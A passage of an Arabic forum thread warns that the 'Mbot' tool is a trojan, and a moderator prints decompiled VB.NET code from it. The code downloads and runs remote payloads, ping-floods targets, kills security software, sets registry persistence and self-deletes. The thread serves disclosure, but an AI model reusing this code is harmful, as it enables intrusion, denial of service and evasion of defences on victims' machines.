الى كل من يواجه مشكله مع Mbot هنا الحل

[oOSta]

[SIZE="4"]الى كل من يواجه مشكله مZxaU[/url]

[Gmyka]

و ايه ده يعنى انشاء الله ؟

[Gmyka]

يا جدعان محديش يحمل حاجه وربنا ده Hack
نزل ع جهازى بقا بيعمل حاجات غريبه يفقتح كامير هاللاب برامح تتمسخ و تتفح !!!!!!!!!!!!
الفحص ده متعرفوش جايبو منين بس مش بتاعو !!!!!!!!!!!!!!!!!!!!!!!
والله العظيم !

[3ashek El7ozn]

طيب ايه المطلوب فى الموضوع !

[youssef13]

تم التعديل على الموضوع من قِبل صاحبه ..
حيتم احضار المشاركة الاساسية وفحصها ..

[youssef13]

تم الفحـص
الحــآلـة : ملغوم

Public Sub Yupyupyup(ByVal b As Byte())
    Dim strArray As String() = Strings.Split(Me.BS(b), Me.The_Pushing, -1, CompareMethod.Binary)
    Try 
        Dim str3 As String = strArray(0)
        If (str3 = "YupD") Then
            Dim bytes As Byte() = Nothing
            If Not strArray(2).ToLower.StartsWith("http") Then
                Dim cM As Boolean = False
                bytes = Me.Dump_It(Convert.FromBase64String(strArray(2)), cM)
            Else
                bytes = New WebClient().DownloadData(strArray(2))
            End If
            Dim path As String = (Path.GetTempPath & Me.Default_System(15) & "." & strArray(1))
            File.WriteAllBytes(path, bytes)
            Process.Start(path)
        Else
            Select Case str3
                Case "P"
                    Me.Send("P")
                    Return
                Case "Unin"
                    Me.Dead
                    Exit Select
                Case "Oat"
                    Dim ping As New Ping
                    Dim options As New PingOptions With { _
                        .DontFragment = True, _
                        .Ttl = &H40 _
                    }
                    Dim s As String = "JE7&I??????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†?????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†??????????????????&e56436C?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????ZRNPHM16I?????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†????????????????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†GZ5jZ4WG3057e^H1%RTIBC^Y#TMG0$ACZ881ZI^j6V2J4U%5??أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†???????????????????????????????????????????J4&^??أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†??????????????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†?????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†?????????????????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†???????????????^3j5E1#WS55IZPJR8#N#7أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†J#7Re7eAWR?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????&$GT4!0#$H^4T7I7He&Wrj$7^5eJEX7E5j$TK@8????????????????????????????????????????????????????????????????????????????????????????????@Ee1M7UL$4WQMeW6ZTMMI???????????????????????????????????????????????OjeN63&251#rj3GS2T^3@3YGr$J4P22jNW7EXE0V#??????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†??????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†??????????????????????????????????????????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†?????????????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†??????????????326J&XXDr#jKTJأٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†L#EI10ZX866MW4#@8PjTj&JU#Jj!T&65r61W1G$Hأٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†IHPJMe7M3^&?????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†????????????????????????????????أٹأˆأڑأ*أ„أ•أ•أڑأ¤أڑأڑأ¤أڑأڈأ•أŒأ¥أںأŒأ‹أŒأ‹أںأ‌أ‹أژأ‌أ¤أ،أپأ‹أ¤أ‍أچأپأ¤أ،أ”أ›أ¥أپأ“أˆأ›أ†?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????JG&WG4HR#EZ&&W$NR?????????????????????????????????????????????YUG3T!5IULKe"
                    Dim buffer As Byte() = Encoding.ASCII.GetBytes(s)
                    Dim num As Short = 0
                    Do
                        Dim reply As PingReply = ping.Send(strArray(1), &H4E20, buffer, options)
                        num = CShort((num + 1))
                    Loop While (num <= &H3E8)
                    Exit Select
            End Select
        End If
    Catch exception1 As Exception
        ProjectData.SetProjectError(exception1)
        Dim exception As Exception = exception1
        ProjectData.ClearProjectError
    End Try
End Sub

Public Sub New()
    Me.Company = "HELL VERSION"
    Me.Corporation = ""
    Me.Op_DoOoMz = "UyBpIFIgLSBEIG8gTyBvIE0="
    Me.Belive_me = Nothing
    Me.DoOoM = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "17"))
    Me.The_Pushing = "|O|P|"
    Me.Op_Doom = New FileInfo(Application.ExecutablePath)
    Me.y = New Timer
    Me.op = New Timer
    Me.DoOoMz = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "18"))
    Me.DoOoMz2 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "12"))
    Me.DoOoMz3 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "7"))
    Me.DoOoMz4 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "6"))
    Me.DoOoMz5 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "9"))
    Me.DoOoMz6 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "11"))
    Me.DoOoMz7 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "9"))
    Me.DoOoMz8 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "1"))
    Me.DoOoMz9 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "2"))
    Me.Paradise = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "3"))
    Me.Goaaaaaal = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "4"))
    Me.DoOoMz10 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "8"))
    Me.DoOoMz11 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "5"))
    Me.DoOoMz12 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "10"))
    Me.DoOoMz13 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "13"))
    Me.DoOoMz14 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "14"))
    Me.DoOoMz15 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "15"))
    Me.DoOoMz16 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "16"))
    Me.DoOoMz17 = Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "19"))
    Me.SPL = "[/opdoom\]"
    Me.Direct = "Software\Microsoft\Windows\CurrentVersion\Run"
    Me.Do_It = False
    Me.C = Nothing
    Me.Solution = New Computer
    Me.Date_Timer = New Clock
End Sub

تخطى لبرامج الفحص

Public Sub Dead()
    Try 
        Dim process As Process
        For Each process In Process.GetProcesses
            If (process.ProcessName = "SpyTheSpy") Then
                process.Kill
            End If
        Next
        Dim process2 As Process
        For Each process2 In Process.GetProcesses
            If (process2.ProcessName = "TiGeR-Firewall") Then
                process2.Kill
            End If
        Next
    Catch exception1 As Exception
        ProjectData.SetProjectError(exception1)
        Dim exception As Exception = exception1
        ProjectData.ClearProjectError
    End Try
    Me.City_Construction(0)
    Try 
        File.Delete(Me.DoOoMx2)
    Catch exception5 As Exception
        ProjectData.SetProjectError(exception5)
        Dim exception2 As Exception = exception5
        ProjectData.ClearProjectError
    End Try
    Try 
        Dim arguments As Object() = New Object() { Me.Direct, True }
        Dim copyBack As Boolean() = New Boolean() { True, False }
        If copyBack(0) Then
            Me.Direct = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(String)))
        End If
        Dim objArray4 As Object() = New Object() { Me.DoOoMz16, False }
        Dim flagArray2 As Boolean() = New Boolean() { True, False }
        NewLateBinding.LateCall(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(Me.Solution, Nothing, "Registry", New Object(0  - 1) {}, Nothing, Nothing, Nothing), Nothing, "CurrentUser", New Object(0  - 1) {}, Nothing, Nothing, Nothing), Nothing, "OpenSubKey", arguments, Nothing, Nothing, copyBack), Nothing, "DeleteValue", objArray4, Nothing, Nothing, flagArray2, True)
        If flagArray2(0) Then
            Me.DoOoMz16 = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray4(0)), GetType(String)))
        End If
    Catch exception6 As Exception
        ProjectData.SetProjectError(exception6)
        Dim exception3 As Exception = exception6
        ProjectData.ClearProjectError
    End Try
    Try 
        Dim str3 As String = Conversions.ToString(Process.GetCurrentProcess.Id)
        Dim path As String = (Environment.GetFolderPath(SpecialFolder.StartMenu) & "\PUSH.bat")
        File.WriteAllText(path, String.Concat(New String() { "attrib -h -s """, Environment.GetFolderPath(SpecialFolder.StartMenu), "\PUSH.bat"" /d /s" & ChrW(13) & ChrW(10) & "attrib -h -s """, Application.ExecutablePath, """ /d /s" & ChrW(13) & ChrW(10) & "attrib -h -s """, Me.DoOoMx, """ /d /s" & ChrW(13) & ChrW(10) & "TASKKILL /F /PID ", str3, ChrW(13) & ChrW(10) & "DEL """, Application.ExecutablePath, """" & ChrW(13) & ChrW(10) & "DEL """, Me.DoOoMx, """" & ChrW(13) & ChrW(10) & "DEL ""%~f0""" }))
        Interaction.Shell(path, AppWinStyle.Hide, False, -1)
    Catch exception7 As Exception
        ProjectData.SetProjectError(exception7)
        Dim exception4 As Exception = exception7
        ProjectData.ClearProjectError
    End Try
End Sub